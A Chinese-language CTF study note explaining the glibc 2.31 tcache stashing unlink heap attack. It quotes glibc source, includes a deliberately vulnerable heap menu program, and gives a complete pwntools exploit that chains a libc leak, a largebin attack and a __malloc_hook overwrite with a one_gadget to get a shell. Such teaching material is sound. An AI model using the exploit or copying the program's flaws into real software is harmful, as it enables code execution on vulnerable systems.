【我的 PWN 学习手札】tcache stash unlink

目录

前言

一、相关源码

二、过程图示

[1. Unlink 过程](#1. Unlink 过程)

[2. Tcache stash unlink 过程](#2. Tcache stash unlink 过程)

三、测试与模板

[1. 流程实操](#1. 流程实操)

[2. 相关代码](#2. 相关代码)


前言

tcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。并且 smallbin 分配后,同大小的空闲块挂进会 tcache。攻击可实现两个效果:

1、任意地址上写一个较大的数(和unsortedbin attack 类似)

2、任意地址分配chunk


一、相关源码

cpp 复制代码
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
      if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;

              tcache_put (tc_victim, tc_idx);
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

二、过程图示

相比于算数(指针运算等等)我更习惯用图示,形象地展现过程。如下图所示是一个 small bin 中 chunk 块的链接情况。

当从中取出一块 chunk 时,注意,small bin 是 FIFO 组织的,会从 bk 方向索引 chunk 并取出。在这个所谓取出 chunk 的过程中,实际指针变化:

红色的是修改过的指针,可以看到,只有 ++smallbin 的 bk 指针++ 以及 ++victim->bk 的 fd 指针++,也就是上图的 chunk2 的 fd 指针进行了修改。

在这一 unlink 的过程中, 会对 (victim->bk)->fd = victim? 进行检查。因此在单纯的 unlink 过程中,劫持 bk 到 fake chunk,是很难伪造满足这一条件的。不过庆幸的是,当触发 tcache stash 的时候 ------ smallbin 中同样大小的堆块"倒灌"入对应的 tcachebin 中时,缺乏了这一检查

初始 free 掉9个 chunk 如下图

使用 malloc 让 tcachebin 中腾出两个位置,然后修改 chunk8 的 bk 指针指向 fake chunk。

当我们 calloc 一块堆块时,会越过 tcache 从 smallbin 中取 chunk

然后触发 tcache stash 将 smallbin 中的 chunk 填充到对应的 tcachebin 中,让我们慢慢填充,首先将 chunk8 填入 tcachebin

注意,填充时首先 unlink,而我们之前说过,unlink 时,会涉及到 (victim->bk)这块 chunk 上指针的修改,因此为方便描述,我们将 fake chunk 的 bk 视作另一个 fake chunk 如下图(和上图阶段一致,只是换了一种表述方式,其实结构还没变化

然后让我们继续 tcache stash 的步骤,将 fake chunk 填入 tcache

ok,我们惊喜的发现,fake chunk 已经填入了 tcache bin,我们只需要申请一次即可将该 chunk 取出,因而实现了任意地址 malloc。

然而在最后一个过程需要注意,fake chunk2 的 "fd" 指针被修改,而 fake chunk2 又是 fake chunk 的 bk 指针指向的,该 chunk 本来就是非法的,因此我们需要保证,在触发 tcache stash 之前 fake chunk 的 bk 指向一个能够写的合法区域,否则会因为没有写权限而导致段错误。

为此,我们可以利用 largebin attack,往 fake chunk 的 bk 区域写一个堆指针。当然,这只是其中一种方法。

三、测试与模板

1. 流程实操

largebin attack 写入一个可写的指针(堆指针),满足 fake_chunk 的 bk 是一块可写区域

calloc 之前的 bin 情况:

calloc 之后,触发 tcache stash

接下来 malloc 出来 __malloc_hook 然后打 ogg 即可

2. 相关代码

cpp 复制代码
// glibc-2.31
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    puts("calloc?");
    int type = get_num();
    chunk_list[index] = type == 1 ? calloc(1, size) : malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
python 复制代码
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size,type=0):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
    io.sendlineafter("calloc?\n", str(type).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

gdb.attach(io)

# leak libc
add(0,0x428)
add(1,0x10)
add(2,0x418)
add(3,0x10)

# prepare for tcache stash unlink
for i in range(9):
    add(10+i,0x100)
    add(4,0x10)

delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))

# largebin attack
add(4,0x500)
edit(0,0x20,p64(0)*3+p64(libc.sym['__malloc_hook']+0x8-0x20-0x10))
info("__malloc_hook: "+hex(libc.sym['__malloc_hook']))
delete(2)
add(4,0x500)

# tcache stash unlink
for i in range(9):
    delete(10+i)
add(20,0x100)
add(21,0x100)
add(4,0x500)
show(18)
valid_fd=u64(io.recv(6).ljust(8,b'\x00'))
edit(18,0x10,p64(valid_fd)+p64(libc.sym['__malloc_hook']-0x10-0x10)) # 注意要恢复fd
add(4,0x100,1)
add(0,0x100)

'''
0xc5c4a execve("/bin/sh", r13, r12)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xc5c4d execve("/bin/sh", r13, rdx)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xc5c50 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
edit(0,0x18,p64(0)*2+p64(libc.address+0xc5c4d))
add(0,0x100)
io.interactive()
相关推荐
安红豆.4 天前
特殊的 BASE64 1
ctf·base64·汇编语言·逆向工程
安红豆.9 天前
[NewStarCTF 2023 公开赛道]Begin of PHP1
web安全·php·哈希算法·web·ctf
梦 & 醒9 天前
【CTF刷题8】2024.9.26
网络·数据库·web安全·网络安全·ctf
晴友读钟9 天前
C#(.NET FrameWork库)逆向基础流程(纯小白教程)
c#·.net·逆向·ctf·reverse·dnspy
安红豆.10 天前
[WMCTF2020]Make PHP Great Again 2.01
开发语言·前端·web安全·php·web·ctf
亿.612 天前
BaseCTF2024 web
web·ctf·wp
Z3r4y13 天前
【Web】御网杯信息安全大赛2024 wp(全)
web·ctf·wp·御网杯
大懒的猫猫虫13 天前
Web_php_include 攻防世界
web·ctf
Z3r4y14 天前
【Web】PolarCTF2024秋季个人挑战赛wp
web·ctf·题解·wp·polarctf·polarctf秋季赛